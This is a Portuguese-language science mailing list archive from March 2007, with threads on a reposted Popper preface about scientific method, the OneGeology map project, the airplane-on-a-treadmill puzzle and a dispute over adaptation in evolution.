adequado a sua área.

>Embromadores de vários tipos parecem
> preferir a visão
> feyerabendiana.

Lol :p.


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Poisson2
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/03/2007 12:34

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 09, 2007 10:19 AM
Subject: Re: [ciencialist] Re: Poisson2

> Vcs acreditam no 'centro de massa' do universo todo. Nesse universo todo
> não pode haver 'forças externas', só internas e conseqüentemente o centro
> de massa do universo é um invariante (fixo) desde o nascimento. Por que
> não usar esse centro de massa como referencial absoluto de repouso?

Boa pergunta.

Com a palavra os relativistas "modernos" de plantão, pois do ponto de vista
clássico não vejo objeção nenhuma. Lembro, não obstante, que segundo a minha
maneira de interpretar o absolutismo do *movimento*, o absolutismo do
*espaço* (e, em decorrência, do referencial) perde muito de sua importância
(a não ser sob aspectos históricos ou teleológicos dos problemas em
consideração). Nestas condições o próprio relativismo passa a ser de fato
relativo, e o significado de referencial perde um pouco daquele "absolutismo
relativista" que incorporou nos séculos pós-Newton e, muito especialmente,
durante o transcorrer do século XX. O absolutismo, por seu turno, ganha em
importância exigindo a caracterização do que tenho chamado "energia
absoluta", distinta da energia mecânica como é estudada em relatividade
(clássica ou moderna). As relatividades (assim como a energia mecânica
tradicional) continuam a ser importantes, mas adquirem um carater puramente
operacional, restrito e de reduzido valor epistemológico.

Enfim, tudo isso são conjecturas a merecerem maiores considerações.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/03/2007 13:03

----- Original Message -----
From: "Chicao Valadares"
Sent: Friday, March 09, 2007 12:08 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> Então não existe um método na ciência universal(completo)
> propriamente dito?? Interessante notar que muita gente
> endeusa o Popperiano.

Creio que é chegada a hora de reproduzir um prefácio de Popper que já
postei aqui na Ciencialist há 5 anos ou mais (o breve comentário após
o texto também é dessa época):

ACERCA DA INEXISTÊNCIA DO MÉTODO CIENTÍFICO

Karl R. Popper

Texto lido num encontro dos Fellows of the Center for Advanced Study
in the Behavioral Sciences, em Stanford, Califórnia, em Novembro de
1956. Prefácio, 1956, do livro de Karl R. POPPER, O Realismo e o
Objectivo da Ciência, Publicações Dom Quixote, Lisboa, 1987

Mas, na realidade, nós não sabemos
por ter visto; pois a verdade está
escondida sob a superfície.
Demócrito


Começo, regra geral, as minhas lições sobre Método Científico dizendo
aos meus alunos que o método científico não existe. Acrescento que
tenho obrigação de saber isso, tendo eu sido, durante algum tempo,
pelo menos, o único professor desse inexistente assunto em toda a
Comunidade Britânica.

O meu assunto não existe em vários sentidos, e vou mencionar alguns
deles:

Primeiro, o meu assunto não existe porque os assuntos, em geral, não
existem. Não há assuntos; não há ramos do saber - ou, melhor, da
pesquisa [inquiry, N. do T.]: há somente problemas, e o impulso para
os resolver. Uma ciência como a botânica ou a química (ou, digamos, a
química-física, ou a eletroquímica) é, defendo eu, apenas uma unidade
administrativa. Os administradores das universidades têm, de resto,
um trabalho difícil, e é de grande conveniência para eles trabalhar
supondo que há alguns assuntos determinados, com cátedras associadas
a eles, e destinadas a serem ocupadas pelos peritos nesses assuntos.
Não estou de acordo: até os alunos competentes são enganados por este
mito do assunto. E eu sou relutante a chamar a algo que engane uma
pessoa uma conveniência para essa pessoa.

Isto quanto à não existência de assuntos em geral. Mas o Método
Científico ocupa uma posição de certo modo peculiar, ao ser ainda
menos existente do que alguns outros assuntos inexistentes.

O que eu quero dizer é o seguinte. Os fundadores do assunto, Platão,
Aristóteles, Bacon e Descartes, bem como muitos dos seus sucessores,
por exemplo John Stuart Mill, julgavam que existia um método para
encontrar a verdade científica. Numa fase mais tardia e um pouco mais
céptica, houve metodologistas que julgavam que existia um método, se
não de encontrar uma teoria verdadeira, pelo menos de averiguar se
uma dada hipótese era ou não verdadeira; ou (o que ainda é mais
céptico) se alguma dada hipótese era, pelo menos, «provável» a um
grau determinável [ascertainable, N. do T.]

Afirmo que não existe método científico nenhum, em nenhum destes três
sentidos. Pondo isto em termos mais claros:

1) Não há um método para descobrir uma teoria científica;

2) Não há um método para averiguar a verdade de uma hipótese
científica, ou seja, não há um método de verificação;

3) Não há um método para determinar se uma hipótese é «provável», ou
provavelmente verdadeira.

Tendo, então, explicado aos meus alunos que não há essa coisa que
seria o método científico, apresso-me a começar o meu discurso, e
ficamos ocupadíssimos. Pois um ano mal chega para roçar a superfície
mesmo de um assunto inexistente.

O que é que ensino aos meus alunos? E como é que posso ensinar?

Sou um racionalista. Por racionalista entendo um homem que deseja
compreender o Mundo e aprender através da discussão com outros
homens. (Note-se que eu não digo que um racionalista sustente a
teoria errada segundo a qual os homens são totalmente ou parcialmente
racionais.) Por «discutir com os outros» entendo, mais em especial,
criticá-los; solicitar a crítica deles; e tentar aprender com isso. A
arte da argumentação é uma forma peculiar da arte de combater - com
palavras em vez de espadas -, uma arte inspirada pelo interesse em
nos aproximarmos da verdade acerca do Mundo.

Não acredito na teoria corrente segundo a qual, para tornarem uma
discussão fecunda, os opositores têm de ter muita coisa em comum.
Pelo contrário, creio que quanto mais diferem os seus backgrounds,
mais fecunda é a argumentação. Não há sequer necessidade de uma
linguagem comum para se começar: se não tivesse havido uma torre de
Babel, teríamos tido de construir uma. A diversidade torna a
discussão crítica fecunda. As únicas coisas que os parceiros de uma
discussão têm de partilhar são o desejo de conhecer, e a
disponibilidade para aprender com o companheiro, criticando
severamente as suas opiniões - na versão mais forte possível que se
puder dar dessas opiniões - e ouvindo o que ele tem para dizer como
resposta.

Sou de opinião que o chamado método da ciência consiste neste tipo de
crítica. As teorias científicas distinguem-se dos mitos unicamente
por serem criticáveis e por estarem abertas a modificações à luz da
crítica. Não podem ser verificadas nem probabilizadas.

A minha atitude crítica - ou herética, se preferirem - influencia, é
claro, a minha atitude perante os meus parceiros filosóficos.

Todos conhecem, com certeza, a história do soldado que descobriu que
todo o seu batalhão (exceto ele, é claro) estava com o passo trocado.
Dou constantemente comigo nessa posição divertida. E tenho muita
sorte, pois, regra geral, alguns dos outros membros do batalhão estão
dispostos a acertar o passo. Isto aumenta a confusão; e, como não sou
um admirador da disciplina filosófica, fico satisfeito enquanto
suficientes membros do batalhão estão com o passo suficientemente
trocado uns em relação aos outros.

Algumas das coisas que me põem fora da cadência, e que eu gosto de
criticar, são:

1) Modas. - Não acredito em modas, correntes, tendências, ou escolas,
quer em ciências, quer em filosofia. Penso, de fato, que a história
da humanidade poderia perfeitamente ser descrita como a história da
eclosão de doenças filosóficas e religiosas de moda. Essas modas só
podem ter uma função séria - a de despertar a crítica. Acredito, no
entanto, na tradição racionalista de uma comunidade do saber, e na
necessidade urgente de preservar essa tradição.

2) A imitação das ciências físicas. - Não me agrada nada a tentativa,
feita em campos fora das ciências físicas, de imitar [to ape, imitar,
macaquear, N. do T.] as ciências físicas, praticando os
ditos «métodos» destas - a medição e a «indução a partir da
observação». A doutrina segundo a qual há tanta ciência num assunto
quanta matemática nele houver, ou quanta medição ou «precisão» houver
nele, assenta numa total incompreensão. Pelo contrário, a seguinte
máxima é válida para todas as ciências: «Nunca se pretenda mais
precisão do que a que é exigida pelo problema que se tem em mãos.»

Não tenho, pois, qualquer fé na precisão: sou de opinião que a
simplicidade e a clareza são valores em si mesmos, mas não de que a
precisão ou «exatidão» seja um valor em si mesma. A clareza e a
precisão são aspirações diferentes e, por vezes, até incompatíveis.
Não acredito naquilo a que freqüentemente se chama uma «terminologia
exata»: não acredito em definições, e não acredito que as definições
aumentem a exatidão; e detesto especialmente as terminologias
pretensiosas e a pseudo-exatidão que lhes corresponde. Aquilo que se
pode dizer pode e deve sempre dizer-se cada vez mais simplesmente e
claramente.

3) A autoridade do especialista. - Não acredito na especialização nem
nos peritos. Dando demasiada importância aos especialistas, estamos a
destruir a comunidade do saber, a tradição racionalista, a própria
ciência.

Para concluir, acho que só há um caminho para a ciência - ou para a
filosofia: encontrar um problema, ver a sua beleza e apaixonarmo-nos
por ele; casarmo-nos com ele, até que a morte nos separe - a não ser
que obtenhamos uma solução. Mas ainda que encontremos uma solução,
poderemos descobrir, para nossa satisfação, a existência de toda uma
família de encantadores, se bem que talvez difíceis, problemas-
filhos, para cujo bem-estar poderemos trabalhar, com uma finalidade
em vista, até ao fim dos nossos dias.

_______________________________________

Que mais dizer? Um prefácio que vale por um livro. Uma verdadeira
obra prima da literatura internacional a servir como guia de
discussões e a nos orientar na adoção de uma postura crítica,
agressiva, contundente mas, acima de tudo, dotada de clareza e de
humildade. E escrito em 1956, por um autor que não conheceu a
Internet. Sua atitude, contrária ao academicismo vigente no século
XX, está patente neste texto, o que de maneira alguma justifica o
fato de sua lógica ter ido parar na fogueira da "Inquisição dos
Tempos Modernos".
_______________________________________

Vide também, de minha autoria:
1) Editorial: Os vários métodos científicos
ftp://ftp.usjt.br/pub/revint/103_45.zip
2) O Método Científico
http://ecientificocultural.com/ECC2/FilCien/metcien01.htm

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá



SUBJECT: Re: [ciencialist] Sobre o Método Cientifico
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/03/2007 13:08

Não existe um método científico que seja científico. Esse é justamente o
problema da indução de Hume, que, em outras palavras, diz: "todas as
afirmações são passíveis de verificação científica, menos a afirmação de que
todas as afirmações são passíveis de verificação científica".

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 08, 2007 4:27 PM
Subject: [ciencialist] Sobre o Método Cientifico


> Lakatos, POpper, Kuhn dentre outros...È correto
> afirmar que uma metodologia é melhor que a outra?? Por
> exemplo, o de Popper seria melhor que o de Kuhn ?? Ou
> cada um é adequado a uma área específica??? Todos são
> científicos??
>
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
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SUBJECT: Site mostrará formação do planeta Terra
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 09/03/2007 13:21

Site mostrará formação do planeta Terra
Sexta-feira, 09 de março de 2007 - 09h42
LONDRES - Geólogos de todo o mundo vão começar a montar na semana que vem o primeiro mapa geológico online da Terra.


O projeto OneGeology, que reúne cientistas de mais de 55 países, vai coletar informações de pesquisas geológicas e apresentá-las na Internet para que todos tenham acesso a elas, como o Google Earth já faz com as imagens de satélite.


Com isso, além de permitir o acesso universal a imagens detalhadas do solo, as lacunas no conhecimento ficarão mais evidentes.


'Os dados geológicos existem. O que estamos tentando fazer é destrancá-los e torná-los disponíveis universalmente', disse Ian Jackson, da Pesquisa Geológica Britânica, numa entrevista coletiva na quinta-feira. 'É como montar um quebra-cabeça global.'


'Acreditamos que, ao aumentar a disponibilidade de dados geológicos, nosso conhecimento de fatores ambientais que afetam a saúde e o bem-estar humanos aumente', acrescentou ele.


Um dos objetivos é começar a identificar estruturas geológicas profundas que possam ser usadas para o armazenamento de longo prazo do dióxido de carbono, um gás que provoca o efeito estufa.


Muitos cientistas e políticos acreditam que a captação e o armazenamento de carbono sejam um dos instrumentos mais importantes na luta contra o aquecimento global.


Mas Jackson disse que o OneGeology também pode ajudar a detectar problemas em potencial antes que eles apareçam, já que a geologia não respeita fronteiras nacionais.


'Se alguém está extraindo água de um lado de uma estrutura geológica que cruze uma fronteira política, enquanto no outro lado alguém a está poluindo, isso é um problema', disse ele. 'Saber que a estrutura cruza essa fronteira pode evitar isso.'


O projeto, que há um ano não era nem uma proposta no papel, deve começar a dar resultados até meados de 2008, passando a crescer de forma constante conforme mais países entreguem os dados que já possuem para preencher as lacunas.


Um dos problemas é que, embora os dados existam nos países, boa parte de seus formatos não é compatível. O projeto converterá a informação para a nova língua geológica universal, a GeoSciML.


'A necessidade é de tornar os dados disponíveis e harmoniosos entre si', disse Jackson. 'O maior obstáculo à informação não é seu custo, é saber que ela existe e onde ela está.'


O projeto terá início numa reunião na cidade litorânea de Brighton, na Inglaterra, entre 12 e 16 de março. Detalhes podem ser consultados em www.onegeology.org.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Site mostrará formação do planeta Terra
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, <Conversa_de_Botequim@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 09/03/2007 17:55

Será que eles vão conseguir provar que a terra não é plana? Que é algo mais parecido com uma bola de barro cercando uma brasa? Que parcela da população mundial terá acesso a essas informações? 1%?, 2%, ... 8%????

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <redeliberal@yahoogrupos.com.br>; <noosfera_II@yahoogrupos.com.br>; <Genismo@yahoogroups.com>; <Conversa_de_Botequim@yahoogrupos.com.br>; <ciencialist@yahoogrupos.com.br>; <brasil-politica@grupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Enviada em: sexta-feira, 9 de março de 2007 13:21
Assunto: [ciencialist] Site mostrará formação do planeta Terra


Site mostrará formação do planeta Terra
Sexta-feira, 09 de março de 2007 - 09h42
LONDRES - Geólogos de todo o mundo vão começar a montar na semana que vem o primeiro mapa geológico online da Terra.


O projeto OneGeology, que reúne cientistas de mais de 55 países, vai coletar informações de pesquisas geológicas e apresentá-las na Internet para que todos tenham acesso a elas, como o Google Earth já faz com as imagens de satélite.


Com isso, além de permitir o acesso universal a imagens detalhadas do solo, as lacunas no conhecimento ficarão mais evidentes.


'Os dados geológicos existem. O que estamos tentando fazer é destrancá-los e torná-los disponíveis universalmente', disse Ian Jackson, da Pesquisa Geológica Britânica, numa entrevista coletiva na quinta-feira. 'É como montar um quebra-cabeça global.'


'Acreditamos que, ao aumentar a disponibilidade de dados geológicos, nosso conhecimento de fatores ambientais que afetam a saúde e o bem-estar humanos aumente', acrescentou ele.


Um dos objetivos é começar a identificar estruturas geológicas profundas que possam ser usadas para o armazenamento de longo prazo do dióxido de carbono, um gás que provoca o efeito estufa.


Muitos cientistas e políticos acreditam que a captação e o armazenamento de carbono sejam um dos instrumentos mais importantes na luta contra o aquecimento global.


Mas Jackson disse que o OneGeology também pode ajudar a detectar problemas em potencial antes que eles apareçam, já que a geologia não respeita fronteiras nacionais.


'Se alguém está extraindo água de um lado de uma estrutura geológica que cruze uma fronteira política, enquanto no outro lado alguém a está poluindo, isso é um problema', disse ele. 'Saber que a estrutura cruza essa fronteira pode evitar isso.'


O projeto, que há um ano não era nem uma proposta no papel, deve começar a dar resultados até meados de 2008, passando a crescer de forma constante conforme mais países entreguem os dados que já possuem para preencher as lacunas.


Um dos problemas é que, embora os dados existam nos países, boa parte de seus formatos não é compatível. O projeto converterá a informação para a nova língua geológica universal, a GeoSciML.


'A necessidade é de tornar os dados disponíveis e harmoniosos entre si', disse Jackson. 'O maior obstáculo à informação não é seu custo, é saber que ela existe e onde ela está.'


O projeto terá início numa reunião na cidade litorânea de Brighton, na Inglaterra, entre 12 e 16 de março. Detalhes podem ser consultados em www.onegeology.org.


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/03/2007 19:40

Parabens Alberto por ter mandado isso. Se voce tiver
mais material sobre isso ficarei feliz em dar uma
olhada.
Eu fui tentar entender os métodos usados nas ciencias
sociais como por exemplo, o estruturalismo mas não
entedi nadinha. As explicações que encontrei são muito
viajadas.
Se voce ou alguem dessa lista souber explicar, fique a
vontade....


--- Alberto Mesquita Filho <albmesq@uol.com.br>
escreveu:

> ----- Original Message -----
> From: "Chicao Valadares"
> Sent: Friday, March 09, 2007 12:08 PM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
> > Então não existe um método na ciência
> universal(completo)
> > propriamente dito?? Interessante notar que muita
> gente
> > endeusa o Popperiano.
>
> Creio que é chegada a hora de reproduzir um prefácio
> de Popper que já
> postei aqui na Ciencialist há 5 anos ou mais (o
> breve comentário após
> o texto também é dessa época):
>
> ACERCA DA INEXISTÊNCIA DO MÉTODO CIENTÍFICO
>
> Karl R. Popper


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SUBJECT: Re: [ciencialist] Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/03/2007 23:48

Olá, Homero! Peço se ater ao que está escrito em meus comentários. Responde
no corpo do seu e-mail abaixo, após JR1 - , OK?
.............................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 06, 2007 11:38 PM
Subject: [ciencialist] Está errado, Renato - O avião decola SEM
PROBLEMAS..:-) Re: avião em esteira


Olá Jose Renato

Renato: "Para puxar um avião, mesmo pequeno, tem de ter alguma força
significativa."

As rodas NÃO PUXAM o avião, que se move INDEPENDENTEMENTE das rodas, a
partir de sua propulsão, hélices ou jatos. Se conseguisse entender
isso, entenderia seu erro. Eu leio o que escreve e está errado. Está
pensando em rodas COM TRAÇÃO, de automóveis, e não entende que NÃO SÃO
as rodas que movem o avião.
JR1 - O avião para ser puxado por hélice ou turbina é necessário que haja
nelas um empuxo suficiente para vencer o atrito dos rolamentos, esqui,
fuselagem...


Renato: "JR - Se vc acredita nisso, só vamos conseguir algum resultado
conjunto se vc ler com atenção e raciocinando sobre o que escrevo e
fazendo os contrapontos com objetividade."

Não é uma crença, é um fato.
JR1 - O que é um fato?

Renato: "JR - Vc entrou na minha conversa com Ricardo onde as
premissas estavam na questão inicial onde não está indicado que o
atrito dos rolamentos é zero."

Não importa. Se entender que em atrito zero o avião não se move, não
importa o que a esteira faça, se entender que com atrito zero, o avião
decola sem problemas e sem NENHUMA interferência das rodas, entenderá
que com atrito, mínimo e desprezível, ele também decola, e, mais
importante de tudo, entenderá, finalmente, que o atrito dos rolamentos
é a ÚNICA forma de ação da esteira no avião.
JR1 - Onde vc encontra atrito zero? Onde a questão fala para considerar de
atrito zero na solução?

Entenderá, finalmente, que o que a esteira pode fazer se limita a
dobrar o atrito dos rolamentos ao duplicar a velocidade das rodas, e
que isso NÃO consegue impedir a decolagem do avião.
JR1 - Na ficção vc consegue qualquer coisa, até duplicar o atrito e a
velocidade das rodas!!! Em geral, o atrito do rolamente diminui quando
aumenta a velocidade.

Renato: " JR - É que vc mistura os comentários feitos com Takata com
os que fiz ao Ricardo aí dá esse angú que não tem pé nem cabeça."

Nada disso, o enunciado é claro nesse aspecto, o avião e a esteira
estão PARADOS, e a esteira SÓ se move QUANDO o avião se move. Observe
que o avião NÃO se move usando as rodas, como tração, o que poderia ser
COMPENSADO com o rolamento da esteira para o sentido contrário, mas
sim pela PROPULSÃO que NADA tem a ver com as rodas.
JR1 - Sim, e daí?

Renato: " JR - Veja os comentários que enviei a Ricardo falando da
conexão simultânea entre as velocidades sempre iguais da esteira e
avião, em sentidos contrários."

Eu li, e repito, isso NÃO ACONTECE! NÃO EXISTE TRAÇÂO, e não pode
compensar o movimento do avião, embora possa aumentar o giro das
rodas. As velocidades iguais são DAS RODAS ao girar e da esteira, NÃO
DO AVIÂO, que se move pela PROPULSÃO e não pela tração nas rodas.
JR1 - A "conexão" que mantém a mesma velocidade do avião e da esteira não
está em questão, apenas o problema enuncia com um ponto fundamental. E aí vc
vai ter de ler o desenvolvimento que fiz em relação ao modo como a
velocidade do avião é medida.

ESQUEÇA as rodas, Renato, elas estão no enunciado para ENGANAR seu bom
senso (que não é muito..:-). Coloque eskis, e o avião decola. Coloque
o avião na água, e ele decola (aviões decolam em rios CONTRA A
CORRENTE, como acha que isso acontece, Renato?)
JR1 - Não se estupore, Homero, sabemos que aviões decolam com esquis, com
rodas... Mas vamos ver se decola no esquema apresentado no enunciado.

Um CARRO gira as rodas para se mover, e, se o chão abaixo dele girar
também, ou "escorregar" como na lama, ele não se move. Mas, um
hovercraft, ou um avião SE MOVEM, mesmo na lama, mesmo que as rodas
"escorreguem", mesmo que uma esteira abaixo dele se mova, porque NÃO
USAM TRAÇÃO nas rodas para se mover.
JR1 - Sim, e daí?

Qual a diferença entre um carro que derrapa na lama e a esteira ccom
um carro em cima que se move para compensar o giro das rodas? Nenhuma,
o carro, como nos aparelhos de testes de montadoras, ficam no lugar,
com os motores ligados e as rodas girando, mas com as esteiras ou
rolamentos compensando.
JR1 - Seja objetivo, Homero, vamos aos arranjos do problema...

Mas, isso NÃO é possível com aviões, que tem de ser AMARRADOS para
não sair voando das esteiras, porque NÃO USAM TRAÇÃO para se mover.

Pense, Renato, pense, se um avião estiver em um campo cheio de LAMA,
acha que por que as rodas "escorregam", o avião não poderá decolar?
Ou decolará, com ou sem as rodas?

Pense, a lama faz o MESMO efeito da esteira, rola "para trás" quando
as rodas do carro rodam "para frente". Mas um avião NÃO usa as rodas,
e estas só giram em falso! Portanto, o carro NÃO se move na lama, mas
o avião DECOLA na lama, o carro NÃO se move na esteira, mas o avião
DECOLA na esteira.
JR1 - Vc está confuso, não existe lama no arranjo e se tivesse a lama não
faria o mesmo que faz a esteira. Até parece que vc acredita que a tração no
avião está nas rodas!? Já acordamos que não está, certo? Na sequencia sua
lógica não resiste a um espirro de tão tísica.
Que tal se ater ao enunciado e acompanhar o desenvolvimento que faço com
Ricardo?

Homero

[]s
José Renato
........................................






SUBJECT: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o engano de JoseRenato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/03/2007 23:54

Homero, qualquer ser vivo se adapta ao ambiente! Será que vc não consegue
entender isso? Vc se estende em elucubrações sem qualquer sentido ao que se
discute, desnecessariamente.
[]s
JR
.............................................
----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 06, 2007 11:56 PM
Subject: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o engano
de JoseRenato


Olá Jose Renato

Renato: "Repare que um urso se adapta ao ambiente *antes* que a sua
espécie-descendência se adapte, se assim não fosse ele morreria antes
de procriar e criar seus filhotes."

Ele NÃO faz isso. NENHUM individuo se adapta, nasce como vai morrer,
com os genes JÁ definidos na fecundação. A espécie se adapta ao MATAR,
ou dificultar a descendência, dos que, pela diferença aleatória dos
genes, estão menos capazes de sobreviver.

Não sei mais o que fazer. Está errado, mas não consegue ver. Já sugeri
que lesse livros sobre o assunto, já tentei explicar com diversos e
diferentes exemplos, outros já tentaram, mas parece se recusar a ter a
crença modificada (ainda mais por fatos e evidências, coisas sem
importância..:-).

Isso NÃO acontece, Renato, indivíduos NÃO se adaptam, apenas as
espécies. O urso NÃO morre porque as mudanças no ambiente são mínimas,
Ele MORRE se as mudanças forem drásticas, exatamente porque INDIVÍDUOS
não conseguem, nem podem, se adaptar a isso.

Tente entender o exemplo do urso negro asiático, eles JÁ nascem com
minimas variações de cor em seu pelo, todas em torno do negro, mas
mesmo assim com variações. Na Ásia, onde vivem, isso não importa, ou
melhor, as variações, aleatórias e cegas, devidas as combinações de
genes, são prejudiciais se muito claras, e estes ursos mais claros tem
menos filhotes.

Levados para o Alasca, qualquer pelagem mais clara QUE JÁ NASCIA DE
VEZ EM QUANDO NA ÁSIA, é agora uma vantagem. NENHUM urso JAMAIS
decidiu ficar mais claro, nem nos polares, nem nos negros.

Com o tempo, todos os descendentes terão pelos claros, mas JAMAIS um
urso se adaptou para ter pelos claros. Isso é conseqüência da evolução
e da pressão seletiva do ambiente, forças cegas e aleatórias.

Tenho certeza de que pode entender isso, mas teima para não abandonar
a fé que possui. Uma pena.

Renato: "E aí não haveria descendência ou seleção natural da espécie.
O que parece que vc não entendeu é a impossibilidade de vc ou qualquer
pessoa afirmar que o ser vivo não tem qualquer "intenção" natural de
sobreviver. Esse tipo de afirmação é adequado apenas aos adivinhos."

Posso afirmar que não há NECESSIDADE de intenção alguma, pois a
evolução ocorreria, ocorre, sem nenhuma intenção ou evidencia de
intenção. Ela ocorre a partir das mesmas forças que separam a areia da
praia.

Bactérias NÃO tem intenção de sobreviver, apenas as que se comportam
de uma forma, morrem, e as que se comportam de outra, sobrevivem. Com
o tempo, só ficam as que sobreviveram e seus comportamentos (é até
meio idiota ter de escrever tal obviedade, mas fazer o que).

Tente com um computador, com um software de simulação de vida, e verá
que, sem intenção, a partir de regras puramente aleatórias e cegas, os
"seres" evoluem e se adaptam, simplesmente porque os que não fazem,
morrem, e só ficam os que fazem. E NENHUM deles sabe que faz ou deixa
de fazer, e NENHUM deles tem a menor intenção de sobreviver ou
qualquer outra intenção.

A partir deste ponto, só posso recomendar que leia livros que
expliquem melhor que eu o problema, se desejar se livrar dessa crença
cega. Ou não leia, não há muito que eu possa fazer de toda forma.

Comece pelo Rio que Saia do Eden, de Dawkins, passe pelo Polegar do
Panda, de Gould, e finalize com A Perigosa Ideia de Darwin, de Dennet.
Existem centenas de outros bons livros, mas penso que estes deveriam
bastar contra a superstição que o aflige. Se nada disso funcionar, é
uma pena, não tem salvação..:-)

Homero



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Homero, se estendeu tanto para dizer quase nada! A única cega que
> aparece no texto é a sua força aleatória e não intencional. Procure ser
> objetivo em seus comentários, caso contrário fica uma discussão sem
rumo,
> que lhe dá oportunidade apenas para descarregar sua animosidade.
Repare que
> um urso se adapta ao ambiente *antes* que a sua espécie-descendência se
> adapte, se assim não fosse ele morreria antes de procriar e criar seus
> filhotes. E aí não haveria descendência ou seleção natural da
espécie. O que
> parece que vc não entendeu é a impossibilidade de vc ou qualquer pessoa
> afirmar que o ser vivo não tem qualquer "intenção" natural de
sobreviver.
> Esse tipo de afirmação é adequado apenas aos adivinhos.
> []s
> José Renato
> ..........................
>
> From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 05, 2007 4:22 PM
> Subject: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o
engano de
> Jose Renato
>
>
> Olá Jose Renato
>
> É impossível discutir com a fé, em especial uma forte e cega fé. A
simples
> insistência nos dogmas que defende não vão mudar as coisas: não há
intenção,
> nem mesmo uma hipotética "intenção de sobreviver", nos seres vivos e na
> evolução. Sei que não vai entender ou admitir isso, mas não há mesmo
assim.
>
> A areia da praia se divide em grãos finos, depois grãos mais
grossos, até as
> pedras maiores na orla perto da terra. Não, a areia, ou o mar, ou a
> natureza, não tem INTENÇÃO de separar as coisas dessa forma bonita e
útil
(apaguei o restante)



SUBJECT: Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/03/2007 00:03

Homero, nem colando vc conseguiu esclarecer como o avião levanta vôo, no
problema apresentado! Será que agora vc pode acompanhar e ler o que escrevo
para lhe demonstrar que ele não levanta vôo?
[]s
JR
.............................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 07, 2007 1:44 AM
Subject: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re:
avião em esteira


Olá pessoal

Eu descobri as datas em que essa mesma discussão, sobre a esteira e o
avião, foi debatida aqui na lista. E ocorreu o mesmo que agora, com
alguns listeiros alegando que o avião não decolava, muitas
explicações, e finalmente todos compreenderam a pegadinha, a intenção
do enunciado (que NÃO era conseguir um especialista em atrito de
rolamentos e sistemas aeronauticos para Airbus 380), e que o avião
decolava sem problemas.

Menos o Jose Renato, claro, que também da outra vez insistia contra
tudo e todos que a esteira "levava" o avião para trás, simplesmente
por girar ao contrário.

Nas mensagens encontrei os exemplos da esteira, das malas, tudo como
agora (menos os coelhos das cartolas do Takata), inclusive a conversão
do Leo, ao perceber o furo da posição que adotou inicialmente, a não
decolagem.

O enunciado pretende saber como nossa mente encara a esteira em
relação a rodas livres, e não qual o atrito de rolamentos capaz de
parar o avião gigantesco em alta velocidade. Não é um tratado
aeronáutico, e muito provavelmente o autor do enunciado teria definido
o atrito como zero, se conhecesse o Takata..:-)

Esta mensagem abaixo, do Leo, inclusive começa como muitas das minhas
mensagens recentes, considerando que o Jose Renato nunca iria entender
que NÃO são as rodas que movem o avião. Na verdade, poderia ser uma
das minhas atuais..:-)

